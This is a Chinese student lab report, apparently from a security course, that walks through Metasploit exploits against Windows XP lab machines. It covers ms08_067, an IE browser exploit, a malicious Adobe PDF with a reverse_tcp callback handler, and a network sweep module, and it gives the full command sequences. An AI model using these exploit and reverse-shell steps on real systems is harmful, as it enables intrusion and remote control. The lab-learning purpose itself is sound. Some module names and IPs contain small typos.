Exp5 MSF基础应用 20164303景圣

一、实践内容

   本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  1.一个主动攻击实践,如ms08_067; (成功)

  2.一个针对浏览器的攻击,如ms10_018_ie_behaviors;(成功且唯一)

  3. 一个针对客户端的攻击,如Adobe;(成功)

  4.成功应用任何一个辅助模块。(成功)

二、实践过程

1.实现主动攻击,使用ms08_067漏洞

被攻击机:WindowsXP sp3.

(1)输入指令使用ms08_067漏洞攻击程序 use exploit/windows/smb/ms08_067_netapi

   

(2)配置参数

         输入指令 set payload generic/shell_reverse_tcp(设置有效攻击载荷)

        设置攻击机ip  set LHOST 192.168.1.234

        设置攻击端口  set LPORT 4303

        设置靶机ip  set RHOST 192.168.1.229

        设置自动选择目标系统类型  set target 10

(3)设置完成后输入指令  exploit,可以看到,已经获得了xp的权限

 

2.实现针对浏览器的攻击,使用ms10_002漏洞

被攻击环境:WindowsXP sp2+ie 6.0

(1)使用指令 use exploit/windows/browser/ms10_018_ie_behaviors 

    选择一个payload  set payloads windows/meterpreter/reverse_tcp

         设置相关参数,

          set LHOST 192.168.1.234攻击方IP;

     set LPORT 4303 攻击方端口;

          set target

          set URIPATH 4303js 资源标识符路径设置;

 

(3)输入指令 exploit 后,可以看到生成了名为http://192.168.1.234:8080/4303js 的链接

(4)在xp系统里访问链接  http://192.168.1.234:8080/4303js,此时IE卡死,崩溃

 

 (5)输入指令 sessions -i 1 后,成功获取到xp的cmd

 

3.实现针对客户端的攻击

被攻击环境:WindowsXP sp2+Adobe Readers 9.0

(1)输入指令 use windows/fileformat/adobe_cooltype_sing 

(2)配置渗透攻击所需的配置项:

  设置载荷: set payload windows/meterpreter/reverse_tcp 

  设置攻击机IP: set LHOST 192。168.1.234

  设置端口: set LPORT 4303

  设置产生的文件: set FILENAME 4303.pdf 

  设置完成后键入 exploit

 

(3)根据路径找到该pdf文件放到靶机里。(需要先设置,勾选显示隐藏文件,再进行寻找)

 

(4)使用命令 back 退出当前模块,启动一个对应于载荷的监听端,等待靶机回连

输入指令:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.234
set lport 4303

 

(5)在靶机中打开该pdf,回连成功

 

4 成功应用任何一个辅助模块。

  使用ARP请求枚举本地局域网中所有活跃主机

输入指令: use auxiliary/scanner/discovery/udp_seep 

                   show options
    将RHOSTS设置为 192.168.1.0/24,即扫描子网号为192.168.1.0的子网内的所有主机

可以看到目标主机的IP192.168.1.168在列表之中。

三、基础问题回答

用自己的话解释什么是exploit,payload,encode.

       exploit就是执行攻击程序,利用漏洞对靶机进行相应的攻击;payload就是漏洞攻击的有效载荷,利用漏洞实现不同的攻击手段;encode就是编码器,就是对攻击进行伪装。

四、实验总结与体会

       这次实验我认为主要看网,网不好虚拟机都下不下来。msf的功能固然强大,但攻击成功的前提是被攻击的主机存在我们需要的漏洞。如果我们能够重视计算机安全的保护,及时对软件和系统进行更新,修补漏洞,我们的电脑收到攻击的可能性会很低。

 

posted @ 2019-04-20 18:11  景圣  阅读(152)  评论(0编辑  收藏  举报